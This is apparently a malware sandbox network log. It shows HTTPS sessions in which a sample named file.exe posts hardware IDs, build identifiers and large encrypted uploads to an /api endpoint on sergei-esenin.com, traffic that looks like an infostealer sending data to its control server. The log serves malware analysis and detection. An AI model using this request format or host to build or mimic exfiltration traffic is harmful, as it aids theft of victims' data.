2024-10-24 09:02:20 UTC	15110	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 43 45 37 35 33 41 38 39 45 30 37 32 30 32 32 33 41 34 39 45 33 33 44 31 43 31 37 43 31 38 34 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"CCE753A89E0720223A49E33D1C17C184--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-24 09:02:20 UTC	1029	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 09:02:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=6plt59mepejs1h3jqaq0ugkj90; expires=Mon, 17 Feb 2025 02:48:59 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=TJ%2FKAr1jwpRpJPzb%2FTY%2B7LgeDHBNk%2BbUruHiR53cMv7TWtKxX%2FiVxG1VmygSNo5NBV1CYWXEcR5586%2FVjdmUIVtMPA%2BHK4iKFY4I7sV7tuTO96a5aN1W4hEDH7%2BMdQtJE9vC0g%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d78c9913ac44620-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1026&sent=10&recv=20&lost=0&retrans=0&sent_bytes=2845&recv_bytes=16140&delivery_rate=2729500&cwnd=251&unsent_bytes=0&cid=188e11c7d3a6d753&ts=559&x=0"
2024-10-24 09:02:20 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 31 0d 0a Data Ascii: 11ok 173.254.250.71
2024-10-24 09:02:20 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49717	104.21.53.8	443	1832	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 09:02:21 UTC	372	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 Cookie: __cf_mw_byp=ZeVofJCvbYJx4w1v9LQzFfnM4psIeOy0iqXKwi7CoAk-1729760536-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 19968 Host: sergei-esenin.com
2024-10-24 09:02:21 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 43 45 37 35 33 41 38 39 45 30 37 32 30 32 32 33 41 34 39 45 33 33 44 31 43 31 37 43 31 38 34 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"CCE753A89E0720223A49E33D1C17C184--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-24 09:02:21 UTC	4637	OUT	Data Raw: f0 03 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8d 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8b 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8d 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 b1 e8 ef fa 6f c5 82 3f 0c fe 4d 70 35 98 09 ee b9 f1 d3 1b 7f 70 Data Ascii: +?2+?2+?o?Mp5p
2024-10-24 09:02:22 UTC	1023	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 09:02:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=iac1f2dkadunt2h7iurane91qh; expires=Mon, 17 Feb 2025 02:49:00 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=H5ewfoCq%2FZh98HmRU5rkG8e77j%2F3WgUnIJsONNUxgQtNDzh%2BHyX%2FDHW428NW5WqSEWjxdYEnJD%2B0XF1Q53OzZmpgj3j3Fk92KC36hymSXrhTvmhUuCHbf8n4j8VBevYvbRaDbQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d78c999ce46e78a-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1338&sent=11&recv=24&lost=0&retrans=0&sent_bytes=2845&recv_bytes=21020&delivery_rate=2071530&cwnd=237&unsent_bytes=0&cid=fb89e24c76267852&ts=575&x=0"
2024-10-24 09:02:22 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 31 0d 0a Data Ascii: 11ok 173.254.250.71
2024-10-24 09:02:22 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	49728	104.21.53.8	443	1832	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 09:02:23 UTC	371	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 Cookie: __cf_mw_byp=ZeVofJCvbYJx4w1v9LQzFfnM4psIeOy0iqXKwi7CoAk-1729760536-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1244 Host: sergei-esenin.com
2024-10-24 09:02:23 UTC	1244	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 43 45 37 35 33 41 38 39 45 30 37 32 30 32 32 33 41 34 39 45 33 33 44 31 43 31 37 43 31 38 34 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"CCE753A89E0720223A49E33D1C17C184--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-24 09:02:23 UTC	1020	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 09:02:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=5fd3g7rgsm1r823oceee2e7n4n; expires=Mon, 17 Feb 2025 02:49:02 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=kLoF7%2FcpVQ%2FPJ%2BWw%2F6Wwws070oYlM94Ve4hiFio2zWJfR9lWY4fvoeXFjrUDoMnOifbdMHFAByTB2Of8sKIOWL5oLvEySDf0%2FzHB3pwvnue8hWU9Yh9xCZLdY9N1AmTNH45V9A%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d78c9a48b006c4f-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1982&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2846&recv_bytes=2251&delivery_rate=1502854&cwnd=244&unsent_bytes=0&cid=cacf38f407180803&ts=698&x=0"
2024-10-24 09:02:23 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 31 0d 0a Data Ascii: 11ok 173.254.250.71
2024-10-24 09:02:23 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	49734	104.21.53.8	443	1832	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 09:02:25 UTC	373	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 Cookie: __cf_mw_byp=ZeVofJCvbYJx4w1v9LQzFfnM4psIeOy0iqXKwi7CoAk-1729760536-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 551695 Host: sergei-esenin.com
2024-10-24 09:02:25 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 43 45 37 35 33 41 38 39 45 30 37 32 30 32 32 33 41 34 39 45 33 33 44 31 43 31 37 43 31 38 34 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"CCE753A89E0720223A49E33D1C17C184--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-24 09:02:25 UTC	15331	OUT	Data Raw: da 98 9a 7c 99 7c c3 72 61 01 fd 0a 1d 93 69 65 0a c9 b6 69 ec 3b 2b 81 30 74 1e d6 da b3 5c c3 c6 c8 c7 ed 03 92 69 bf 2a dd 86 2b 05 3f bd 45 46 b8 6c 88 98 c0 fd 34 3b 97 e3 19 f5 27 2b d6 7c 7f 6c aa 74 83 e5 9c 4e 33 c5 2f 29 ec d2 2f de 26 d5 56 09 ed 05 70 63 a2 37 61 ca 40 4a f0 6a 54 73 b5 26 62 a6 b0 11 da bc 04 66 91 5b a3 51 c4 ce d6 06 61 f5 93 2e 49 99 45 d3 7e 59 a3 be 94 ba 87 2b 27 3f 9f 00 c9 e9 61 5c ea 73 d0 f7 ac 48 b7 41 c6 3d b0 c0 55 1f ab 46 9f 95 04 df d9 a5 9c 7f e7 58 eb 56 7a e0 15 ef 92 5e 19 78 cd bf a9 d8 08 cb 9f e6 db d4 94 47 77 69 c1 b5 01 fb a2 21 06 9a 35 93 54 ab 33 42 c8 b7 03 9b bf 51 a6 24 f0 6c fe c2 05 f6 f3 b1 ce 09 03 cd 6f ca f5 6c 54 e3 76 c4 fc cf b2 29 2f 95 94 52 5a e5 67 cb 76 b0 14 da dd ff ee 38 23 09 Data Ascii: \|\|raiei;+0t\i*+?EFl4;'+\|ltN3/)/&Vpc7a@JjTs&bf[Qa.IE~Y+'?a\sHA=UFXVz^xGwi!5T3BQ$lolTv)/RZgv8#
2024-10-24 09:02:25 UTC	15331	OUT	Data Raw: fc 07 8a e9 23 1e 2c 3e 19 2d e9 84 a5 b8 65 db a6 e0 9f ca d9 e0 5b b3 0f 76 e2 53 5f a8 eb 63 55 47 68 c5 86 b3 25 43 83 5a 5f 78 9e 54 20 0e 84 c4 4c 7f ff 9a e5 01 1c 0a ec 23 22 fa 88 67 8d 25 3c 04 9a 52 a8 98 87 db c1 41 82 0b 63 cc 8f 73 61 9f e4 78 b6 dd 72 bf d9 69 43 23 62 af 1c 08 85 58 49 e5 37 16 da 86 8c 17 b1 44 c5 e0 18 8d d6 3d 32 97 80 c5 9b 1d df f9 c3 d3 fa dd 1f 8c db 6b 37 8c a6 8b bb 6d 9f db 7a 7c d5 98 ae 65 b5 d4 be f1 19 d2 50 a1 91 b1 70 f7 20 4b 65 9a 91 57 a5 5d 4d af 8f fe 9e 17 34 ef 3c fd d4 31 ed 69 f0 88 b4 f8 1b 2b 5b 5f ab ed 5a 9b ad eb 08 ca 28 ad f1 93 b8 e3 be 37 31 a4 f6 38 30 33 a0 18 e1 86 61 40 5c 3b 51 aa fb 5c 9f bd f9 5a 92 b5 0a 96 74 71 0b 43 b7 d1 60 58 12 80 c0 80 7f 01 4d 70 32 4d c3 1e 2c 35 b4 a8 b8 Data Ascii: #,>-e[vS_cUGh%CZ_xT L#"g%<RAcsaxriC#bXI7D=2k7mz\|ePp KeW]M4<1i+[_Z(71803a@\;Q\ZtqC`XMp2M,5
2024-10-24 09:02:25 UTC	15331	OUT	Data Raw: b8 dd f9 bd fb f7 ff ff 70 f3 04 90 2f 8e d7 fc 09 51 b2 f4 52 91 50 86 10 f3 56 1a 48 f4 f7 bf 75 2f 0b 71 28 12 d9 73 49 71 58 fd 1b 20 ec 25 5a 62 5e 62 89 5f 26 e5 16 b8 c1 99 9f d0 92 d7 2e a1 b8 72 6e 68 87 08 eb 47 50 1b 8c f4 c4 00 e5 be 13 73 53 45 96 7a 73 49 45 ab 48 74 8e 5f 7e 19 4e 32 34 58 f8 86 77 2b 15 a0 ed c3 58 f7 7f 47 c5 38 f3 32 a7 36 32 0f e7 bf 5e ef 6e 05 2e 9e 6f 25 40 78 d1 a9 f0 a5 f6 bc 5f 19 f7 6e b4 b1 6d 3b 05 6c fb 3d d9 b2 3d 29 42 c6 c9 46 53 91 ce 86 24 99 2c f9 a2 12 c0 2a 8b bc e8 8b db 34 12 5a 98 2e 5f 50 94 38 25 63 61 13 e2 c9 73 28 a7 65 02 e4 e2 f3 e3 11 fc c6 b1 a4 d9 ed d3 6f f6 71 6a 51 a5 ed 9e e0 19 ed 6b 63 76 6e 50 62 b7 0f 81 1b cf 55 65 c2 95 46 e8 67 f5 35 51 59 8b c5 87 68 e5 12 2c 45 91 3d 6b 0d 8f Data Ascii: p/QRPVHu/q(sIqX %Zb^b_&.rnhGPsSEzsIEHt_~N24Xw+XG8262^n.o%@x_nm;l==)BFS$,*4Z._P8%cas(eoqjQkcvnPbUeFg5QYh,E=k
2024-10-24 09:02:25 UTC	15331	OUT	Data Raw: 54 f0 8d 13 59 b8 e0 8a 5a 19 42 6c 16 2e a6 8c 5e f7 99 74 6c 6c e9 32 44 c8 79 87 4e 9b 97 ae b5 c6 93 dc 61 83 9a cc e9 e8 47 75 48 c8 e7 e1 99 1b 24 52 eb b5 f9 c8 c9 5e 09 2d 92 0d 89 9e 9c 22 c2 16 a9 3d bb 80 09 78 ed 1f 41 9d de 33 fb 50 4b d8 d4 60 ad f7 a6 e0 e6 4e eb ee f1 4e e7 0e bd 44 10 6c 95 0a b3 95 b9 0d df 10 c9 25 c7 86 2c 1c 22 8e b6 38 34 ee 06 51 fa 52 ad 5b 3b d5 e6 14 10 cb ba d0 9f d8 3f fd 52 07 fc e8 6d 88 51 e5 bc 97 51 6a 8a 4d 78 a6 ba e8 cb 93 1c 9b 45 fb 16 a9 cf 24 b5 eb b3 3f ff 29 a4 66 bc 44 ad 59 bf eb b8 61 99 52 2a 9a de de 50 c2 3b 9f 46 9d ba 62 97 38 ef c7 6b c8 db 2b 15 68 1d 10 49 59 26 ae 7a 95 e8 6f 4f 5c be c2 bb 77 b5 6a 20 78 e0 ec 0c ec 77 a7 bf 84 63 9e 53 35 21 3c 05 23 4a e0 de 24 21 0d 02 fa df c3 5d Data Ascii: TYZBl.^tll2DyNaGuH$R^-"=xA3PK`NNDl%,"84QR[;?RmQQjMxE$?)fDYaR*P;Fb8k+hIY&zoO\wj xwcS5!<#J$!]
2024-10-24 09:02:25 UTC	15331	OUT	Data Raw: 3c dc 01 9a d8 54 43 cd 56 d5 74 32 41 3a ae 93 8e b6 f2 b1 17 26 53 58 77 7a a1 21 8b 44 9c 8e 7b 70 f4 c6 8d 5e 04 20 5d d5 ba 37 44 39 a6 4a 9c 2c 61 53 98 ad 4c 70 28 90 05 5b 07 86 63 a0 5c 01 f0 25 bb ab 68 35 1d d2 77 06 2c 71 52 12 1a 95 9b d6 08 62 e5 45 81 fc 9f 97 38 79 20 cb 8c 7d f2 33 76 0a 07 9b b5 e3 40 be 3e 2a 3a d9 ca c0 a1 54 28 70 28 22 37 8d 2f 1a 39 8c c6 cc 5a d7 d0 e6 48 0b b6 70 23 0f b1 13 b0 b1 9d 07 3e e6 6b 54 bb 9c 45 5e 10 80 7f 59 e6 d6 26 57 5d e2 94 7c c4 9e a6 0b 8b 5d 16 88 f9 3e ba 73 e6 f2 33 4b f9 de 0b 53 f6 e8 58 de 8c a6 29 35 53 56 3f 5d 03 f3 9f d7 ea de 9b c0 c7 7e 40 34 b9 15 d4 cd d6 35 5e 73 19 c4 bb 63 e1 8d ec be 7b ee 07 46 e5 e0 48 45 d2 19 80 4c f0 8a 8b 81 5c ee 55 bf b1 b1 0f a4 ab 44 d2 09 0a 45 0e Data Ascii: <TCVt2A:&SXwz!D{p^ ]7D9J,aSLp([c\%h5w,qRbE8y }3v@>*:T(p("7/9ZHp#>kTE^Y&W]\|]>s3KSX)5SV?]~@45^sc{FHEL\UDE
2024-10-24 09:02:25 UTC	15331	OUT	Data Raw: bc 8d 77 73 48 9f 31 c8 4e 1f 29 6d e5 65 18 fa 2f c4 ad 2f 8e 28 6c b3 dc f0 2f 2f 2e 31 b6 29 eb 14 0b af a0 a6 3f 67 56 8a 72 5f 4d 26 51 a4 b4 35 7e 89 6a 17 24 70 a2 bb be cd 1b 5b 06 5b 0a 82 b5 b9 9a ad 06 af 2c b7 b4 2a 93 50 8a 10 70 92 d2 b6 5d fc 00 e1 20 7a cf ff ad 08 0d df f1 eb 0a 3f 7d a8 4b d6 28 bf 6a 7d c7 b1 52 b7 f3 13 02 0b 5b 85 98 10 6b e2 66 03 59 17 8f 2d 82 77 2a cf 99 e2 22 63 34 af 11 89 4d ad 8c 7b b0 df 2d 0e b4 ff 6f ad a0 ac 04 8a fb 3e d1 28 60 8c 56 85 a8 81 67 e8 2e 70 42 24 95 6f fb db 18 2d 85 37 79 3f 92 f2 78 0a 3f fa 1a 6b 93 99 fe 14 1e 0e 81 9c 7c fc 17 11 56 09 60 fc 60 7c 1b 24 07 be 51 e0 43 ac c5 55 4f 3d 20 fc 60 16 88 d9 53 4b 9a cd ad 08 c1 e7 cb a2 d1 85 5c 99 0b 71 03 ea 69 58 06 01 e1 d6 15 54 e6 45 93 Data Ascii: wsH1N)me//(l//.1)?gVr_M&Q5~j$p[[,Pp] z?}K(j}R[kfY-w"c4M{-o>(`Vg.pB$o-7y?x?k\|V``\|$QCUO= `SK\qiXTE
2024-10-24 09:02:25 UTC	15331	OUT	Data Raw: a4 e0 c5 68 ae 53 73 2c 42 6d cf f9 c8 ed f0 ed c5 60 ec 58 b5 6e 64 10 9a 21 ca 10 9e 28 b1 49 f0 d9 b6 63 66 7e a8 be eb 3c 05 37 53 45 fd 23 64 b6 6b e8 d6 0b bb 42 03 76 9e 39 36 88 8b 1a 16 fd fd 3a 12 db c4 e3 b0 5e 09 e1 ba fb 18 69 e2 c1 e0 07 b4 70 68 cc 2a 99 db 30 45 86 8b 83 31 c7 85 77 b1 58 06 f3 39 df bc e8 df 03 79 f0 e9 dc 1a ce 7b 91 a5 2c fb 44 aa 86 ae 52 a2 37 5d d6 e6 ab 01 b7 c4 f7 96 ac b0 44 85 de c7 b6 b7 ad 16 f9 70 ba bf b8 c9 45 de 9d c4 fd dc f0 b9 b9 b8 11 bd d4 26 af 50 5d bb 5d b4 ed 75 92 f8 f1 80 3a 3e 92 0a fc 23 82 55 79 15 5f cb 30 3a 44 6c 69 26 8d 51 da 95 b9 c4 02 3e 5c ff 45 17 43 7f d2 4d 08 47 95 71 f0 cf 76 76 8a c1 0a d9 1a 59 4a e6 10 35 73 9d da 26 5e e3 83 f6 01 22 22 d0 45 5c 3e 72 4a a9 3d 15 db bb 2a db Data Ascii: hSs,Bm`Xnd!(Icf~<7SE#dkBv96:^iph0E1wX9y{,DR7]DpE&P]]u:>#Uy_0:Dli&Q>\ECMGqvvYJ5s&^""E\>rJ=
2024-10-24 09:02:25 UTC	15331	OUT	Data Raw: 25 25 16 26 25 b5 ee 8f 89 ba a9 1f 59 79 e6 34 55 e8 3f 2e 71 12 42 f3 65 64 ad 50 f4 f2 d8 80 d2 58 ff 83 93 8e 2e f0 a2 b3 4a e4 54 23 c5 dc a5 58 dd 35 5a 7d b8 75 eb 05 2f 68 5c d5 b2 77 bb 5c e4 de f7 44 46 ba 95 c5 83 88 d1 aa fb fb 23 57 f2 08 77 fa 36 f6 d4 06 55 db ec c1 f4 ab db e3 49 89 6c 7c 8d 39 83 c8 25 c1 e4 3c 48 fc 98 b2 4a c9 3e 8d 54 b5 9c 26 4b 31 11 91 a5 5d db 1a 9d 76 a8 45 6b cb b7 2e 51 b5 1a 55 12 92 9a ad c8 35 14 16 59 9e 3e 2a 4e 09 42 0b 25 8d f8 b8 52 b9 a8 c8 04 6e d5 77 47 fc 41 2f d1 6d 3c 21 8d 49 db 9e c3 d2 4f bb 69 9f a8 fc 73 2d f9 00 1c 2a ca 93 95 9e 53 1a 59 70 0b 8d e8 40 c3 4b dd ff 29 3d 63 b0 45 97 f9 79 ef 8d 11 5d 90 aa 44 30 fa 7f 1b c0 d6 ad 59 bd 72 a0 fd 41 e5 89 7f 2e a9 48 6e d2 7c 61 8b 7a 27 64 78 Data Ascii: %%&%Yy4U?.qBedPX.JT#X5Z}u/h\w\DF#Ww6UIl\|9%<HJ>T&K1]vEk.QU5Y>NB%RnwGA/m<!IOis-SYp@K)=cEy]D0YrA.Hn\|az'dx
2024-10-24 09:02:25 UTC	15331	OUT	Data Raw: 4e a6 ad 3b e3 72 5e 57 8b 2e ff 69 c5 ce 96 62 bb b6 25 93 08 6b 34 ac 95 c6 c9 c9 7e 57 89 5b 95 29 bd 23 59 e9 68 18 15 8e ba 16 4d 97 e5 06 a6 09 eb 70 f4 b7 af d9 df ca e8 81 e0 4c 38 6f 90 29 9a a4 df 08 3d b3 6e 99 69 ad c6 f6 ab 27 e1 a9 85 9b 7e a9 ec 5b 76 04 d6 f8 2d 89 5d aa b2 14 76 eb 7b 2c 1b 7b 4b 2d c0 06 8e 40 45 a2 60 e5 2f 9b 72 8e 93 2e a8 85 39 0c fc 4c 9d 4f ec fb 9e e1 05 0d 18 dd b0 de 40 38 01 1a 1e c2 fb 76 5d bd 9b 5b bb 1e cc fe 6b 53 c3 27 23 7d 8d cc 34 09 db 06 47 53 76 fd 37 e5 be 6a e7 b0 bb c0 fe b9 2e 39 d2 b2 1b 91 fa 6b 1e 96 40 74 1e 6f 89 0b ad b1 cc 77 71 c2 41 c3 ce 58 92 1b 03 0e df 73 b0 71 51 a4 a3 ff eb 4b a5 14 ae 36 fe cd 0e 6a 9a 52 ca bf 56 db 06 2a 03 f9 63 e6 99 6e e1 7d 3e c8 96 da 32 34 b6 ef 1f 6a d6 Data Ascii: N;r^W.ib%k4~W[)#YhMpL8o)=ni'~[v-]v{,{K-@E`/r.9LO@8v][kS'#}4GSv7j.9k@towqAXsqQK6jRV*cn}>24j
2024-10-24 09:02:26 UTC	1031	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 09:02:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=7ulpjq913m3vnphr3mkp8bb8fv; expires=Mon, 17 Feb 2025 02:49:05 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Bg1njKMLH847VTA6paBX%2Bo7zAsfI5AMEGCuquDfi%2BslgPK1FnOTeb%2Fq5nmdaF5Ud8Ye6OKRgWq7%2F2Bs8zAwjAMrhT%2BATBFcyCFgrFgWh%2FQT%2BX14wCpmAwsAF6LiEB5OdhsWwEA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d78c9af69cb466e-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1766&sent=205&recv=587&lost=0&retrans=0&sent_bytes=2844&recv_bytes=554266&delivery_rate=1634311&cwnd=243&unsent_bytes=0&cid=0058e3b93e31b18b&ts=1677&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.6	49750	104.21.53.8	443	1832	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 09:02:27 UTC	354	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Cookie: __cf_mw_byp=ZeVofJCvbYJx4w1v9LQzFfnM4psIeOy0iqXKwi7CoAk-1729760536-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 87 Host: sergei-esenin.com
